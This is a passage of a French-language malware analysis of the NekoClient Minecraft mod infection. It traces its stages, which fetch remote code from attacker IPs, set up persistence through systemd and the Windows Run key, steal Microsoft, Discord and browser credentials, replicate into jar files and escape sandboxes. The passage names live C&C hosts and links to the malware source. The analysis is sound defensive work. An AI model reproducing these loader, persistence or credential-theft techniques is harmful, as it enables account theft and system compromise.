"-114.-18.38.108.-100"); +} +``` + +Ce code: +1. Crée un `URLClassLoader` avec l'url `http://[85.217.144.130:8080]/dl` ([shodan](https://www.shodan.io/host/85.217.144.130)) +2. Charge une classe `Utility` depuis le loader, prenant du code d'internet. +3. Appelle la méthode `run` dans la classe `Utility`, donnant en paramètre un str différent pour chaque mod infecté (!). E.g. + * Skyblock Core: "`-74.-10.78.-106.12`" + * Dungeonz: "`-114.-18.38.108.-100`" + * HavenElytra: "`-114.-18.38.108.-100`" + * Vault Integrations: "`-114.-18.38.108.-100`" + +Les numerals sont ecrit dans un fichier nommé ".ref" sous forme de bits. Cela ressemble a un moyen pour l'auteur de suivre l'infection. + +La création du classloader est hardcodé dans cet URL et n'utilise pas l'URL Cloudflare comme le fichier de l'Étape 1. Comme cette IP est dorénavant hors ligne, cela signifie que les charges utilies des fichier Étape 0 *desquels nous sommes au courant* ne fonctionnenet plus. + +## Étape 1 (`dl.jar`) + +SHA-1: `dc43c4685c3f47808ac207d1667cc1eb915b2d82` + +[une version décompilée est disponible ici](/decomp/). + +La première chose qu'`Utility.run` fait est de vérifier si la propriété système `neko.run` est active. Si tel est le cas, *Le fichier aretera son execution*. Si tel n'est pas le cas, un str vide est initialisé et le code continue de s'executer. Cela fait penser que le malware évite de s'executer lui même plusieurs fois, dans le cas ou il aurait infecté plusieurs mods. *Cela ne peut pas etre considéré comme un killswitch car Étape1 est téléchargé depuis l'internet et peut changer.* + +`Utility.run` tente de contacter `85.217.144.130`, ainsi qu'un domaine CLoudflares (`https://files-8ie.pages.dev/ip`). Des raports d'abus ont déja été envoyés. Le domaine est utilisé pour récupérer L'IP du serveur C&C si la première IP ne répond plus - L'URL répond avec une représentation binaire d'une adresse IPV4. + +*L'IP C&C a été nullrouted après qu'un raport ai été envoyé a l'hébergeur. Nous allons garder un oeil sur la page Cloudflare pour voir si un nouveau serveur C&C est mis en place, nous ne pouvons pas imaginer qu'ils n'avait pas prévus ce genre de scénario.* Merci Serversion pour tes réponses rapides. + +*Le domaine CLoudflares a été supprimé*. Il y a un nouveau serveur C&C (`107.189.3.101`). + +Étape 1 essaye ensuite de devenir persistent en effectuant les étapes suivantes: +1. Télécharge Étape 2 (lib.jar pour Linux, libWebGL64.jar pour Windows) depuis le serveur +2. Programe Étape 2 pour s'executer automatiquement au démarage de la machine: +* Sous Linux, le fichier essaye de placer des fichiers dans `/etc/systemd/system` ou `~/.config/systemd/user` + * Le fichier placé dans le fichier utilisateur ne fonctionne jamais, car il essaye d'utiliser `multi-user.target`, qui n'existe pas pour les unités utilisateurs. +* Sous Windows, le fichier tente de modifier le registre + (`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`) pour s'executer lui même, ou + en cas d'échec, essaye de s'ajouter au dossier `Windows\Start Menu\Programs\Startup`. + +## Étape 2 (`lib.jar` ou `libWebGL64.jar`) + +Hash sha1 connus: +* `52d08736543a240b0cbbbf2da03691ae525bb119` +* `6ec85c8112c25abe4a71998eb32480d266408863` ( l'upload précédent de D3SL) + +Étape2 est obfusqué avec une version démo de l'obfuscateur Allatori, et sa classe principalle est appelé `Bootstrap`. +Il [le fichier] contient une autre classe appelé, nommée `h` qui semble être une simple classe de communiquation, mais est vide +sinon. Vous pouvez +[voir un essai de reproduire le code source](https://gist.github.com/SilverAndro/a992f85bec29bb248c354ccf5d2206fe). + +Quand executé, le fichier effectue les étapes suivantes: +1. Ouvre le port `9655` et ajoute un hook de shutdown pour se fermer quand la jvm (java virtual machine) se ferme. +2. S'autolocalise sur le disque et travaille au plus près. +3. Si `.ref` existe, il lit les clés identifiant du fichier. +4. Lance une boucle pour: + 1. vérifier avec `https://[files-8ie.pages.dev]:8083/ip` pour le serveur et tente de s'y connecter. + 2. Recoit un flag pour savoir si l'update check doit se continuer, si non, report au serveur depuis le port `1338` + 3. Si tel est le cas, recoit un hash et le vérifie auprès de `client.jar`, renvoyant un bit si il veut une update + 4. Si tel est le cas, recoit et crée/réécrit `client.jar`, cachant ses atributs. + 5. charge et invoque la méthode statique `dev.neko.nekoclient.CLient#start(InetAdress, refFiileBytes)` + 6. Attend 5 secondes + +## Étape 3 (`client.jar`) + +sha-1: `c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5` +sha-1: `e299bf5a025f5c3fff45d017c3c2f467fa599915` + +`client.jar` est un sac de code incroyablement complexe et obfusqué et contien du java et du code natif. + +Il contien une charge utile native `hook.dll`, décompilée: https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c + +Il y a 2 fonctions natives faites pour être appelés depuis Java: +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);` +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);` + +Après analyse, ces 2 fonctions fonctionnent comme indiqué dans leur nom: +* Lis le contenu du presse papier +* Vole les tokens du compte Microsoft + +Il y a aussi des preuves de code essayant de réaliser les choses suivantes: +* Scan pour *tout* les fichiers jar sur le système qui ressemble a un mod Minecraft (en détéctant Forge/Fabric/Quilt/Bukkit), + ou [déclare une classe principale](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244) + (la plupart des programmes java) + et essaye de s'injecter dans chaqu'un d'entre eux. +* Vole les cookies de navigation ainsi que les informations de connexion de plusieurs navigateurs Web +* Remplace les adresses de cryptomonnaies dans le presse papier avec d'autres, présumées apartenant a l'attaquant +* Vole les tokens discord +* Vole les tokens de Minecraft et Microsoft d'un grand nombre de launches +* Vole des crypto wallets + +Les fichiers jar sont détéctés comme des mods Mincraft comme suit: +* Forge (`dev/neko/e/e/e/A`): Le malware tente de localiser l'anotation `@Mod`, qui est requise dans chaque mod +* Bukkit (`dev/neko/e/e/e/C`): Le malware vérifie si une classe Bukkit `JavaPlugin` existe +* Fabric/Quilt (`dev/neko/e/e/e/i`): Le malware vérifie si une classe implémente `ModInitializer` +* Bungee (`dev/neko/e/e/e/l`): Le malware vérifie si une classe Bungee `Plugin` existe +* Vanilla (`dev/neko/e/e/e/c`): Le malware vérifie si la classe principale `net.minecraft.client.main.Main` existe + +## Étape3 (`unobf-client.jar`) + +Aux alentours de 14:20 UTC le 07/06/2023, client.jar a accidentellement été remplacé par une versionnon obfusquée. Vous pouvez trouver l'archive ici: https://github.com/clrxbl/NekoClient + +Cela valide les comportements/preuves suspicieux(.se) obtenues lors de l'annalyse de l'échantillon obfusqué. + +### Réplication + +la réplication est gérée par un processus automatique dans les fichiers jar a travers l'entièretée des filesystem sur la machine locale. Nimporte quel fichier jar qui contien des classes rencontrant certains critères est sujet a une infection. Le procesus de scan et d'injection de code malicieux peut etre trouvé ici: [`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L273) + +Les critères vérifiés par le processus se trouvent ici: [`dev/neko/nekoinjector/template/impl`](https://github.com/clrxbl/NekoClient/tree/main/dev/neko/nekoinjector/template/impl) + +* `BungeecordPluginTemplate` regarde pour l'interface `net/md_5/bungee/api/plugin/Plugin` +* `FabricModTemplate` regarde pour l'interface `net/fabricmc/api/ModInitializer` +* `ForgeModTemplate` regarde pour l'annotation `net/minecraftforge/fml/common/Mod` +* `MinecraftClientTemplate` regarde pour l'existance de `net/minecraft/client/main/Main.class` et de `net/minecraft/client/gui/GuiMultiplayer.class` dans le jar +* `SpigotPluginTemplate` regarde pour le super-type `org/bukkit/plugin/java/JavaPlugin` +* Si aucun des critères ci-dessus ne sont remplis, [il vas tenter d'infecter la classe principale du fichier jar](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244) - si il existe. + +Le code malicieux injecté est une backdoor vue dans Étape0. Le moyen dont le code fonctionne est qu'il est déclaré dans la classe `Loader` dans une méthode statique. La classe `Injector` qui est adjacente est responsable de l'extraction du code depuis le `Loader` et de l'insertion dans d'autres classes visées par l'infection. La valeur retournée par `Injector.loadInstallerNode(...)` est `MethodNone`. Maintenant les class n'ont qu'a ajouter la méthode a la classe visée. Dans [`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L272), `Entry.inject(MethodNode)` est appelé pour ariver a ce résultat. Pour s'assurer que la méthode malicieuse est invoquée, cette méthode ajoute de la logique a l'initialisateur de la classe visée. En partant du principe que l'initialisateur est lancé quand la classe se charge pour la première fois, et que la classe visée est un plugin/mod, le code sera toujours triggered par des utilisateurs qui lancent un modpack infecté ou un serveur. Après quoi, le jar est repacked avec la nouvelle classe fraichement infectée. + +### Méthodes anti Sandbox + +Quelque chose peut commun dans les Malware JVM, qui est présent ici est la classe intitulée `VMEscape`. Cela recherche si le fichier se trouve dans un [bac a sable Windows](https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview) en vérifiant si l'utilisateur actuel est `WDAGUtilityAccount`. Si cette condition est remplie, un essait pour s'échaper de la VM est réalisé. + +Le processus est a peut près comme suit: + +- Lance un thread répétitif pour run les actions suivantes: + - Crée un directory temporaire en utilisant `Files.createTempDirectory(...)` + - Itère par dessus les entrées `FileDescriptor` dans le presse papier système qui représente le presse papier host + - Crée un racourcit qui ressemble au fichier original _(en utilisant des icones SHELL32)_ qui invoque le malware + - Assigne ce racourcit au presse papier, réécrivant les references du fichier originel + +DE ce fait, si un utilisateur copie un fichier et vas pour le coller ailleur, l'utilisateur vas coller un racourcit ressemblant a leur fichier, qui fait tourner le malware. + +### Vol de données + +**Tokens MS (microsoft)**: Puisque ce malware vise les mods Minecraft, il est naturel pour lui d'essayer de voler les tokens de connexion aux comptes MS utilisés pour se connecter a Minecraft. Cerrtains launchers gardent cette donée en sécuritée dans un fichier local, dans lequel le malware vas tenter d'y lire son contenu. Cela affecte une variétée de launchers tel que : + +* Le launcher Vanilla/Mojang +* Le launcher legacy Vanilla/Mojang +* PolyMC / Prism +* Technic +* Feather +* LabyMOd (< v3.9.59) +* Et tout les tokens trouvable dans le [Windows Credential Manager](https://support.microsoft.com/en-us/windows/accessing-credential-manager-1b5c916a-6a16-889f-8581-fc16e8165ac0) + +La logique de retrait (vue dans [`dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java)) est similaire a celle ci car les donés sont stoqués d'une manière similaire. Par exemple voicit le code pour laby-mod: +```java +private static void retrieveRefreshTokensFromLabyMod(List